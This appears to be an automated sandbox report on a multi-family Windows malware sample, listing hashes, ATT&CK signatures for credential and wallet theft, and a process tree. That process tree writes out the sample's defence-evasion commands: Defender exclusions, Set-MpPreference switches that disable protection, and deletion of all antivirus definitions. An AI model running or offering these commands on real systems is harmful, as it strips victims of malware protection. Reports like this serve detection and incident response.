b389212f1945bb3fc5301ea6ddabd73cccc8589e60292aae13ef67403edf8242

Analysis

max time kernel
151s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/08/2026, 04:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
Size 94.6MB
Sample260815-exbtvaep7s
SHA256 b389212f1945bb3fc5301ea6ddabd73cccc8589e60292aae13ef67403edf8242
MD5 22cbed315fea32c67fe69eed54f7b8c2
SHA1 5a115739e6c8dac43b1f3442a618b02e00e1b82e
SHA512 26bf6c347b7c4de01ca91603d6ee2c0351ed5826c96bc9b16a6f21f75965c1c842a2b367d7b30b039983d986b39c1e1d0f37d220d7020c534dd4986f7d8c84fc
SSDEEP 393216:9MlP9e/xG2QPTnzy/ioekthGxBUclpPvneT5sL:9MXtvbG/iGDGxB/+5sL
TLSH
T1BF283361311519EEF361CA7C8846ED346C263C190E27C74F422C4B766F936AA5E2F73A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 2 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
7116	MpCmdRun.exe
4872	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6548	powershell.exe
3200	powershell.exe
1704	powershell.exe
248	powershell.exe
3652	powershell.exe
240	powershell.exe
6232	powershell.exe
5484	powershell.exe
1456	powershell.exe
3472	powershell.exe
1172	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
240	powershell.exe
6232	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bound.exe

Clipboard Data 1 TTPs 4 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5080	cmd.exe
6920	powershell.exe
6964	cmd.exe
6796	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3208	bound.exe
1708	bound.exe
6116	rar.exe
6580	rar.exe

Loads dropped DLL 34 IoCs

pid	Process
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe
1708	bound.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 7 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3856	tasklist.exe
1764	tasklist.exe
1952	tasklist.exe
6884	tasklist.exe
6748	tasklist.exe
2736	tasklist.exe
1544	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2580	cmd.exe
3104	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000b00000001c632-26.dat	upx
behavioral2/memory/4888-30-0x00007FF9508F0000-0x00007FF950D5E000-memory.dmp	upx
behavioral2/files/0x000c00000001c624-32.dat	upx
behavioral2/memory/4888-37-0x00007FF96B040000-0x00007FF96B04F000-memory.dmp	upx
behavioral2/files/0x000d00000001c62f-36.dat	upx
behavioral2/files/0x000d00000001c62b-38.dat	upx
behavioral2/memory/4888-35-0x00007FF9691B0000-0x00007FF9691D4000-memory.dmp	upx
behavioral2/memory/4888-43-0x00007FF968F50000-0x00007FF968F5D000-memory.dmp	upx
behavioral2/files/0x000b00000001c634-42.dat	upx
behavioral2/memory/4888-41-0x00007FF968F60000-0x00007FF968F79000-memory.dmp	upx
behavioral2/files/0x000c00000001c627-49.dat	upx
behavioral2/files/0x000c00000001c623-53.dat	upx
behavioral2/files/0x000b00000001c635-59.dat	upx
behavioral2/files/0x000d00000001c62d-61.dat	upx
behavioral2/files/0x000b00000001c630-65.dat	upx
behavioral2/files/0x000d00000001c62e-69.dat	upx
behavioral2/memory/4888-71-0x00007FF9691B0000-0x00007FF9691D4000-memory.dmp	upx
behavioral2/memory/4888-72-0x00007FF950570000-0x00007FF9508E7000-memory.dmp	upx
behavioral2/files/0x000d00000001c62a-78.dat	upx
behavioral2/memory/4888-82-0x00007FF9645C0000-0x00007FF9645ED000-memory.dmp	upx
behavioral2/memory/4888-80-0x00007FF967650000-0x00007FF96765D000-memory.dmp	upx
behavioral2/memory/4888-76-0x00007FF968F60000-0x00007FF968F79000-memory.dmp	upx
behavioral2/memory/4888-77-0x00007FF9638A0000-0x00007FF9638B4000-memory.dmp	upx
behavioral2/files/0x000c00000001c626-75.dat	upx
behavioral2/files/0x000b00000001c636-100.dat	upx
behavioral2/memory/4888-107-0x00007FF94A360000-0x00007FF94A478000-memory.dmp	upx
behavioral2/memory/4888-123-0x00007FF9645A0000-0x00007FF9645BF000-memory.dmp	upx
behavioral2/memory/4888-68-0x00007FF95C030000-0x00007FF95C0E7000-memory.dmp	upx
behavioral2/memory/4888-67-0x00007FF9508F0000-0x00007FF950D5E000-memory.dmp	upx
behavioral2/memory/4888-63-0x00007FF964570000-0x00007FF96459E000-memory.dmp	upx
behavioral2/memory/4888-163-0x00007FF95BB20000-0x00007FF95BC89000-memory.dmp	upx
behavioral2/memory/1708-164-0x00007FF9430B0000-0x00007FF94351E000-memory.dmp	upx
behavioral2/memory/4888-60-0x00007FF95BB20000-0x00007FF95BC89000-memory.dmp	upx
behavioral2/memory/4888-58-0x00007FF9645A0000-0x00007FF9645BF000-memory.dmp	upx
behavioral2/memory/1708-171-0x00007FF947BF0000-0x00007FF947C14000-memory.dmp	upx
behavioral2/memory/4888-170-0x00007FF964570000-0x00007FF96459E000-memory.dmp	upx
behavioral2/memory/4888-174-0x00007FF95C030000-0x00007FF95C0E7000-memory.dmp	upx
behavioral2/memory/1708-175-0x00007FF95DBC0000-0x00007FF95DBCF000-memory.dmp	upx
behavioral2/memory/1708-186-0x00007FF947C40000-0x00007FF947C59000-memory.dmp	upx
behavioral2/memory/4888-184-0x00007FF950570000-0x00007FF9508E7000-memory.dmp	upx
behavioral2/memory/1708-207-0x00007FF963860000-0x00007FF96386D000-memory.dmp	upx
behavioral2/memory/4888-55-0x00007FF968B70000-0x00007FF968B89000-memory.dmp	upx
behavioral2/files/0x000d00000001c62c-54.dat	upx
behavioral2/memory/4888-51-0x00007FF9645C0000-0x00007FF9645ED000-memory.dmp	upx
behavioral2/memory/1708-223-0x00007FF953450000-0x00007FF95347D000-memory.dmp	upx
behavioral2/memory/4888-222-0x00007FF9638A0000-0x00007FF9638B4000-memory.dmp	upx
behavioral2/memory/1708-236-0x00007FF955040000-0x00007FF955059000-memory.dmp	upx
behavioral2/memory/1708-247-0x00007FF9547E0000-0x00007FF9547FF000-memory.dmp	upx
behavioral2/memory/1708-248-0x00007FF94A070000-0x00007FF94A1D9000-memory.dmp	upx
behavioral2/memory/1708-249-0x00007FF94A040000-0x00007FF94A06E000-memory.dmp	upx
behavioral2/memory/1708-251-0x00007FF949F80000-0x00007FF94A037000-memory.dmp	upx
behavioral2/memory/1708-250-0x00007FF9430B0000-0x00007FF94351E000-memory.dmp	upx
behavioral2/memory/1708-253-0x00007FF948CB0000-0x00007FF949027000-memory.dmp	upx
behavioral2/memory/1708-252-0x00007FF947BF0000-0x00007FF947C14000-memory.dmp	upx
behavioral2/memory/1708-255-0x00007FF947C40000-0x00007FF947C59000-memory.dmp	upx
behavioral2/memory/1708-256-0x00007FF949EF0000-0x00007FF949F04000-memory.dmp	upx
behavioral2/memory/1708-257-0x00007FF962850000-0x00007FF96285D000-memory.dmp	upx
behavioral2/memory/4888-269-0x00007FF968F60000-0x00007FF968F79000-memory.dmp	upx
behavioral2/memory/4888-266-0x00007FF9508F0000-0x00007FF950D5E000-memory.dmp	upx
behavioral2/memory/4888-267-0x00007FF9691B0000-0x00007FF9691D4000-memory.dmp	upx
behavioral2/memory/1708-294-0x00007FF949DD0000-0x00007FF949EE8000-memory.dmp	upx
behavioral2/memory/1708-305-0x00007FF949F80000-0x00007FF94A037000-memory.dmp	upx
behavioral2/memory/1708-309-0x00007FF949DD0000-0x00007FF949EE8000-memory.dmp	upx
behavioral2/memory/1708-306-0x00007FF948CB0000-0x00007FF949027000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 59 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1736	cmd.exe
6384	cmd.exe
6488	cmd.exe
5416	cmd.exe
3300	cmd.exe
6500	cmd.exe
2300	cmd.exe
2068	cmd.exe
4520	cmd.exe
5864	cmd.exe
4808	cmd.exe
7056	cmd.exe
1912	cmd.exe
2400	cmd.exe
6556	cmd.exe
4100	cmd.exe
5440	cmd.exe
3168	cmd.exe
5976	cmd.exe
3648	cmd.exe
1284	cmd.exe
5512	cmd.exe
5272	cmd.exe
5288	cmd.exe
4944	cmd.exe
6632	cmd.exe
368	cmd.exe
6032	cmd.exe
6652	cmd.exe
6224	cmd.exe
5656	cmd.exe
4332	cmd.exe
2044	cmd.exe
2632	cmd.exe
1300	cmd.exe
4572	cmd.exe
5344	cmd.exe
3112	cmd.exe
6656	cmd.exe
1204	cmd.exe
704	cmd.exe
696	cmd.exe
1760	cmd.exe
6280	cmd.exe
988	cmd.exe
4964	cmd.exe
5852	cmd.exe
6636	cmd.exe
6772	cmd.exe
360	cmd.exe
5696	cmd.exe
3888	cmd.exe
6568	cmd.exe
2644	cmd.exe
4460	cmd.exe
6188	cmd.exe
3600	cmd.exe
4672	cmd.exe
1140	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3600	cmd.exe
6364	PING.EXE
4672	cmd.exe
4608	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2232	netsh.exe
1736	cmd.exe
6068	netsh.exe
4808	cmd.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2440	WMIC.exe
3944	WMIC.exe

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4492	systeminfo.exe
572	systeminfo.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
6364	PING.EXE
4608	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
240	powershell.exe
240	powershell.exe
248	powershell.exe
248	powershell.exe
248	powershell.exe
240	powershell.exe
3652	powershell.exe
3652	powershell.exe
6548	powershell.exe
6548	powershell.exe
3652	powershell.exe
3652	powershell.exe
6548	powershell.exe
6548	powershell.exe
6268	WMIC.exe
6268	WMIC.exe
6268	WMIC.exe
6268	WMIC.exe
6920	powershell.exe
6920	powershell.exe
2772	powershell.exe
2772	powershell.exe
2772	powershell.exe
6920	powershell.exe
6232	powershell.exe
6232	powershell.exe
3200	powershell.exe
3200	powershell.exe
3200	powershell.exe
6232	powershell.exe
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe
6624	WMIC.exe
6624	WMIC.exe
6624	WMIC.exe
6624	WMIC.exe
6796	powershell.exe
6796	powershell.exe
6796	powershell.exe
828	powershell.exe
828	powershell.exe
828	powershell.exe
5484	powershell.exe
5484	powershell.exe
5484	powershell.exe
4240	powershell.exe
4240	powershell.exe
4240	powershell.exe
5880	WMIC.exe
5880	WMIC.exe
5880	WMIC.exe
5880	WMIC.exe
1456	powershell.exe
1456	powershell.exe
1456	powershell.exe
3712	WMIC.exe
3712	WMIC.exe
3712	WMIC.exe
3712	WMIC.exe
6096	WMIC.exe
6096	WMIC.exe
6096	WMIC.exe
6096	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	240	powershell.exe
Token: SeDebugPrivilege	248	powershell.exe
Token: SeDebugPrivilege	3652	powershell.exe
Token: SeDebugPrivilege	6548	powershell.exe
Token: SeDebugPrivilege	2736	tasklist.exe
Token: SeDebugPrivilege	1544	tasklist.exe
Token: SeIncreaseQuotaPrivilege	248	powershell.exe
Token: SeSecurityPrivilege	248	powershell.exe
Token: SeTakeOwnershipPrivilege	248	powershell.exe
Token: SeLoadDriverPrivilege	248	powershell.exe
Token: SeSystemProfilePrivilege	248	powershell.exe
Token: SeSystemtimePrivilege	248	powershell.exe
Token: SeProfSingleProcessPrivilege	248	powershell.exe
Token: SeIncBasePriorityPrivilege	248	powershell.exe
Token: SeCreatePagefilePrivilege	248	powershell.exe
Token: SeBackupPrivilege	248	powershell.exe
Token: SeRestorePrivilege	248	powershell.exe
Token: SeShutdownPrivilege	248	powershell.exe
Token: SeDebugPrivilege	248	powershell.exe
Token: SeSystemEnvironmentPrivilege	248	powershell.exe
Token: SeRemoteShutdownPrivilege	248	powershell.exe
Token: SeUndockPrivilege	248	powershell.exe
Token: SeManageVolumePrivilege	248	powershell.exe
Token: 33	248	powershell.exe
Token: 34	248	powershell.exe
Token: 35	248	powershell.exe
Token: 36	248	powershell.exe
Token: SeIncreaseQuotaPrivilege	6268	WMIC.exe
Token: SeSecurityPrivilege	6268	WMIC.exe
Token: SeTakeOwnershipPrivilege	6268	WMIC.exe
Token: SeLoadDriverPrivilege	6268	WMIC.exe
Token: SeSystemProfilePrivilege	6268	WMIC.exe
Token: SeSystemtimePrivilege	6268	WMIC.exe
Token: SeProfSingleProcessPrivilege	6268	WMIC.exe
Token: SeIncBasePriorityPrivilege	6268	WMIC.exe
Token: SeCreatePagefilePrivilege	6268	WMIC.exe
Token: SeBackupPrivilege	6268	WMIC.exe
Token: SeRestorePrivilege	6268	WMIC.exe
Token: SeShutdownPrivilege	6268	WMIC.exe
Token: SeDebugPrivilege	6268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6268	WMIC.exe
Token: SeRemoteShutdownPrivilege	6268	WMIC.exe
Token: SeUndockPrivilege	6268	WMIC.exe
Token: SeManageVolumePrivilege	6268	WMIC.exe
Token: 33	6268	WMIC.exe
Token: 34	6268	WMIC.exe
Token: 35	6268	WMIC.exe
Token: 36	6268	WMIC.exe
Token: SeDebugPrivilege	3856	tasklist.exe
Token: SeIncreaseQuotaPrivilege	6268	WMIC.exe
Token: SeSecurityPrivilege	6268	WMIC.exe
Token: SeTakeOwnershipPrivilege	6268	WMIC.exe
Token: SeLoadDriverPrivilege	6268	WMIC.exe
Token: SeSystemProfilePrivilege	6268	WMIC.exe
Token: SeSystemtimePrivilege	6268	WMIC.exe
Token: SeProfSingleProcessPrivilege	6268	WMIC.exe
Token: SeIncBasePriorityPrivilege	6268	WMIC.exe
Token: SeCreatePagefilePrivilege	6268	WMIC.exe
Token: SeBackupPrivilege	6268	WMIC.exe
Token: SeRestorePrivilege	6268	WMIC.exe
Token: SeShutdownPrivilege	6268	WMIC.exe
Token: SeDebugPrivilege	6268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6268	WMIC.exe
Token: SeRemoteShutdownPrivilege	6268	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 4888	4148	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	91
PID 4888 wrote to memory of 4332	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	92
PID 4888 wrote to memory of 3168	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	93
PID 4332 wrote to memory of 248	4332	cmd.exe	97
PID 3168 wrote to memory of 240	3168	cmd.exe	96
PID 4888 wrote to memory of 2068	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	98
PID 4888 wrote to memory of 6652	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	99
PID 4888 wrote to memory of 5852	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	100
PID 4888 wrote to memory of 2580	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	101
PID 4888 wrote to memory of 2400	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	106
PID 2580 wrote to memory of 416	2580	cmd.exe	198
PID 2400 wrote to memory of 6548	2400	cmd.exe	109
PID 2068 wrote to memory of 3652	2068	cmd.exe	110
PID 5852 wrote to memory of 4792	5852	cmd.exe	111
PID 4888 wrote to memory of 2644	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	112
PID 4888 wrote to memory of 3648	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	113
PID 6652 wrote to memory of 3208	6652	cmd.exe	116
PID 4888 wrote to memory of 988	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	117
PID 4888 wrote to memory of 5080	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	119
PID 4888 wrote to memory of 1284	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	120
PID 4888 wrote to memory of 6384	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	123
PID 3208 wrote to memory of 1708	3208	bound.exe	125
PID 2644 wrote to memory of 2736	2644	cmd.exe	127
PID 3648 wrote to memory of 1544	3648	cmd.exe	282
PID 4888 wrote to memory of 1736	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	128
PID 4888 wrote to memory of 5864	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	130
PID 4888 wrote to memory of 4116	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	131
PID 6384 wrote to memory of 2084	6384	cmd.exe	134
PID 1284 wrote to memory of 3856	1284	cmd.exe	135
PID 988 wrote to memory of 6268	988	cmd.exe	136
PID 1736 wrote to memory of 6068	1736	cmd.exe	137
PID 5080 wrote to memory of 6920	5080	cmd.exe	138
PID 5864 wrote to memory of 4492	5864	cmd.exe	140
PID 4116 wrote to memory of 2772	4116	cmd.exe	141
PID 4888 wrote to memory of 6636	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	142
PID 6636 wrote to memory of 5072	6636	cmd.exe	145
PID 2772 wrote to memory of 944	2772	powershell.exe	146
PID 944 wrote to memory of 5668	944	csc.exe	147
PID 4888 wrote to memory of 5344	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	148
PID 5344 wrote to memory of 4204	5344	cmd.exe	150
PID 4888 wrote to memory of 2044	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	151
PID 2044 wrote to memory of 3404	2044	cmd.exe	153
PID 4888 wrote to memory of 6224	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	154
PID 6224 wrote to memory of 6860	6224	cmd.exe	156
PID 4888 wrote to memory of 6632	4888	2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	157
PID 1708 wrote to memory of 6772	1708	bound.exe	159
PID 1708 wrote to memory of 5976	1708	bound.exe	160
PID 1708 wrote to memory of 3104	1708	bound.exe	161
PID 6632 wrote to memory of 6628	6632	cmd.exe	237
PID 1708 wrote to memory of 1760	1708	bound.exe	166
PID 5976 wrote to memory of 6232	5976	cmd.exe	168
PID 6772 wrote to memory of 3200	6772	cmd.exe	169
PID 3104 wrote to memory of 1548	3104	cmd.exe	170
PID 1760 wrote to memory of 1704	1760	cmd.exe	249
PID 1708 wrote to memory of 5512	1708	bound.exe	172
PID 1708 wrote to memory of 6488	1708	bound.exe	173
PID 1708 wrote to memory of 3112	1708	bound.exe	176
PID 1708 wrote to memory of 6964	1708	bound.exe	177
PID 1708 wrote to memory of 6556	1708	bound.exe	179
PID 1708 wrote to memory of 360	1708	bound.exe	181
PID 1708 wrote to memory of 4808	1708	bound.exe	183
PID 1708 wrote to memory of 2632	1708	bound.exe	186
PID 5512 wrote to memory of 1764	5512	cmd.exe	188
PID 6488 wrote to memory of 1952	6488	cmd.exe	189

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
416	attrib.exe
1548	attrib.exe
3680	attrib.exe
6528	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-15_22cbed315fea32c67fe69eed54f7b8c2_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:240
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
